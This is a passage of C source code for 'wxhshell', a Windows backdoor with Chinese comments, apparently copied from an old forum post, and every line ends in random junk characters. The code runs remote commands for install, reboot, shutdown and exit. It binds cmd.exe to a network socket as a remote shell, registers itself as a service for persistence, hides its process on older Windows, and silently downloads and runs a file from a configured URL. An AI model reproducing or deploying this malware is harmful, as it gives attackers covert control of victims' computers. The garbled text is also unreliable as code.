      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `&D|>tiz  
    break; (vb SM}P  
  } }o L'8-y  
  // 安装  ~ ip,Nl  
  case 'i': { S-k8jm  
    if(Install()) #a<Gxj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '7+4`E  
    else cIav&Zko  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $u9K+>.  
    break; ,wIONDnLZ  
    } )xbHCoU,  
  // 卸载 MrDc$p W G  
  case 'r': { %kdE un  
    if(Uninstall()) $Hj.{;eC/k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*-b}f  
    else T;,cN7>>O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hS)'a^FV  
    break; dR"@`  
    } Y8o)FVcyNy  
  // 显示 wxhshell 所在路径 ZaL.!g  
  case 'p': { 7cTV?nc  
    char svExeFile[MAX_PATH]; w)Q0_2p.  
    strcpy(svExeFile,"\n\r"); Vl:^>jTki  
      strcat(svExeFile,ExeFile); D'J 0wT#  
        send(wsh,svExeFile,strlen(svExeFile),0); [/Rf\T(,jn  
    break; -F<Wd/Xse  
    } ](&{:>RNJ  
  // 重启 O+]Ifm[  
  case 'b': { | h;0H`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kac' ;1  
    if(Boot(REBOOT)) ly:q6i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M+w=O!dq  
    else { ptU \[Tq  
    closesocket(wsh);  *T5!{  
    ExitThread(0); w]]8dz  
    } UPG9)aF  
    break; . koYHq  
    } \'|> p/5I  
  // 关机 mGJasn  
  case 'd': { f}x.jxY?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H^s<{E0<  
    if(Boot(SHUTDOWN)) n p\TlUc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); paKSr|O  
    else { k} |   
    closesocket(wsh); #MRMNL@   
    ExitThread(0); )pq;*~ IBI  
    } f' 3q(a<p  
    break; l]8D7(g  
    } m+lvl  
  // 获取shell UE$UR#T'w  
  case 's': { Q0&H#xgt  
    CmdShell(wsh); cVv;Jn  
    closesocket(wsh); v 8$>rwB  
    ExitThread(0); )i !o8YB  
    break; YbTxn="_  
  } H;YP8MoQ  
  // 退出 U$_xUG  
  case 'x': { ~ xft  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >D(RYI  
    CloseIt(wsh); +\F'iAs@  
    break; A^)?Wt%*  
    } 0V'nK V"|  
  // 离开 z@B=:tf  
  case 'q': { Fsif6k=4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rvXWcu-"  
    closesocket(wsh); K95p>E`9e  
    WSACleanup(); ">y%iE  
    exit(1); cp#JBH O  
    break; A?-oL='  
        } yIDD@j=l  
  } \}p6v}  
  }  DX"xy  
p2DrEId  
  // 提示信息 .ys6"V|31  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~TS y<t~%-  
} gx\&_) w N  
  } }j*KcB_  
QA5Qwe L  
  return; HN&Z2v   
} 2JJ"O|Ibz  
L1Iz<>  
// shell模块句柄 }>VG~u8  
int CmdShell(SOCKET sock) ,PWgH$+  
{ }Ub6eXf(2  
STARTUPINFO si; XgLL!5`  
ZeroMemory(&si,sizeof(si)); gG-BVl"59  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1@QZnF5[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /+\uqF8F  
PROCESS_INFORMATION ProcessInfo; dt`{!lts'  
char cmdline[]="cmd"; -Xxqm%([71  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pXJpK@z  
  return 0; n#wI@W >%+  
} .zn;:M#T  
bpKZ3}U  
// 自身启动模式 L"{JRbh[  
int StartFromService(void) ;)!Sp:mHX  
{ ]8 f ms(  
typedef struct +(C6#R<LI  
{ B, TB3 {  
  DWORD ExitStatus; WXmn1^"kK}  
  DWORD PebBaseAddress; p' +  
  DWORD AffinityMask; ds?v'|  
  DWORD BasePriority; lJE93rXU  
  ULONG UniqueProcessId; 59O?_F9  
  ULONG InheritedFromUniqueProcessId; WIv?}gi: X  
}   PROCESS_BASIC_INFORMATION; q.2ykL  
; =X P&  
PROCNTQSIP NtQueryInformationProcess; yjhf   
:&:JTa1cv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $aN&nhoO<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 21< j\ M  
U`Wauv&  
  HANDLE             hProcess; &<UMBAS  
  PROCESS_BASIC_INFORMATION pbi; c2e tc8  
?zQA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K9OYri^TQ  
  if(NULL == hInst ) return 0; xv&Q+HD  
.8P.)%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JvT"bZk( o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  }(1JaG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~fT_8z  
m<0&~rg   
  if (!NtQueryInformationProcess) return 0; WV#%PJ  
v7DE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ B 5gR  
  if(!hProcess) return 0; *{y K 8  
{6~l$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; []A%<EI7  
/k<WNZM  
  CloseHandle(hProcess); C\di7z:  
#@"<:!?z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AKRTBjG"  
if(hProcess==NULL) return 0; e(I =^#u6  
hrhb!0  
HMODULE hMod; US%^#D q  
char procName[255]; DXa-rk8  
unsigned long cbNeeded; ~R &;v3  
#_(jS+lP?k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5JLu2P  
`$B3X  
  CloseHandle(hProcess); v0YG,)_  
R8T] 2?Q1  
if(strstr(procName,"services")) return 1; // 以服务启动 bIEhgiH  
!X<~-G2)l  
  return 0; // 注册表启动 cdG |m[  
} kjtjw1\o  
9M1d%jT  
// 主模块 "sl1vzRN  
int StartWxhshell(LPSTR lpCmdLine) ]@0NO;bK>F  
{ * ;Cy=J+  
  SOCKET wsl; R hvfC5Hq  
BOOL val=TRUE; .?!N^_ Ez3  
  int port=0; ")!,ZD  
  struct sockaddr_in door; TW9WMId  
8G5m{XTS(  
  if(wscfg.ws_autoins) Install(); 6'RrQc=q  
v0ES;  
port=atoi(lpCmdLine); i![dPM  
L[20m (6?  
if(port<=0) port=wscfg.ws_port; zA!0l*H  
3neIR@W  
  WSADATA data; -atGlu2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & _g TD  
K%Rj8J7|u?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LI6hE cM=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eyh51IB.  
  door.sin_family = AF_INET; e4z1`YLsG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N]<!j$pOz  
  door.sin_port = htons(port); pKjoi{ Z  
l $jxLZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \C`~S7jC  
closesocket(wsl); {|yob4N  
return 1; XxaGp95so  
} f~_th @K  
/2HN>{F^Y  
  if(listen(wsl,2) == INVALID_SOCKET) { Cc, `}SP  
closesocket(wsl); %T[^D&9$,  
return 1; =Odv8yhn  
} m/@<c'i  
  Wxhshell(wsl); %O<%UmR  
  WSACleanup(); 'D%w|Pe?Q  
if]Noe  
return 0; PT5AA8F  
-Z?Vd!H:  
} bQZ*r{g  
QZ?=M@|f  
// 以NT服务方式启动 W.1As{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4#'(" #R  
{ *k1<: @%e  
DWORD   status = 0; a!mf;m  
  DWORD   specificError = 0xfffffff; A;O~#Chvd  
iK IOh('G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7]%Ypv$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %c1#lEC2xN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;_(PVo  
  serviceStatus.dwWin32ExitCode     = 0; 4 8{vE3JY  
  serviceStatus.dwServiceSpecificExitCode = 0; Z-B%'/.  
  serviceStatus.dwCheckPoint       = 0; v*qQ? S  
  serviceStatus.dwWaitHint       = 0; <uc1D/~^:  
MCP "GZK6W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `W-&0|%Ta  
  if (hServiceStatusHandle==0) return; @YH+c G|  
[*Z`Kc  
status = GetLastError(); ,= &B28Qe)  
  if (status!=NO_ERROR) IB`>'~s&A  
{ 7 lo|dg80  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QERU5|.wc  
    serviceStatus.dwCheckPoint       = 0; F>X-w+b4r  
    serviceStatus.dwWaitHint       = 0; " sgjWo6  
    serviceStatus.dwWin32ExitCode     = status; P/ oXDI8  
    serviceStatus.dwServiceSpecificExitCode = specificError; tWdhDt8$&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fbp{,V@F2  
    return; 07/L}b`P  
  } Y=T'WNaL)0  
ZK'-U,Y.H7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0iZGPe~  
  serviceStatus.dwCheckPoint       = 0; Dr9 ?2  
  serviceStatus.dwWaitHint       = 0; tdF9NFMD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A~dQ\M  
} L}yyaM)  
gBf4's  
// 处理NT服务事件,比如:启动、停止 o|j*t7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IjfxR mV  
{ $j 5,%\4<  
switch(fdwControl) "aF8l<1xn  
{ cM_ Fp  
case SERVICE_CONTROL_STOP: S',9g4(5  
  serviceStatus.dwWin32ExitCode = 0; e62Dx#IY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k5&bq2)I  
  serviceStatus.dwCheckPoint   = 0; \Yoa:|%*y  
  serviceStatus.dwWaitHint     = 0; sIl33kmv  
  { vwr74A.g0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {@u<3 s  
  } XIWm>IQ[)  
  return; o."rxd  
case SERVICE_CONTROL_PAUSE: ;_:Ool,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a0*2) uL}  
  break; 8:.nEo'  
case SERVICE_CONTROL_CONTINUE: Q#Y k?Kv~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WM)F0@"  
  break; #2tCV't  
case SERVICE_CONTROL_INTERROGATE: ZE `lr+_Y  
  break; XTDE53Js&  
}; 60Z]M+8y8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Mp1~{8  
} <g9"Cr`  
8)VgS &B~  
// 标准应用程序主函数 c[ht`!P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6TH!vuQ1(  
{ .]|Zf!>}s  
QI_59f>  
// 获取操作系统版本 ]/T -t1D  
OsIsNt=GetOsVer(); ofW+_DKB?l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &)pK%SAM  
fB+b}aoV  
  // 从命令行安装 ap}5ElMR  
  if(strpbrk(lpCmdLine,"iI")) Install(); YGsS4ia*4i  
m/`IGT5J  
  // 下载执行文件 fRm}S>Nibb  
if(wscfg.ws_downexe) { 5v^L9!`@%v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qXXGF_Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); WjMS5^ _  
} OSzjK7:  
2BzqY`O  
if(!OsIsNt) { $cVi;2$p  
// 如果时win9x,隐藏进程并且设置为注册表启动 @1R8 -aa-r  
HideProc(); -s$<Op{s  
StartWxhshell(lpCmdLine); hFvi 5I-b  
} Z v0C@r  
else o7+>G~i  
  if(StartFromService()) Q&M'=+T  
  // 以服务方式启动 Zwe[_z!*D  
  StartServiceCtrlDispatcher(DispatchTable); k*-NsNPw$  
else 3hq1yyec  
  // 普通方式启动 Ewo*yY>  
  StartWxhshell(lpCmdLine); (3*UPZv  
&2EBk=X  
return 0; nE y]`  
}
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只看该作者 1 发表于: 2006-10-10
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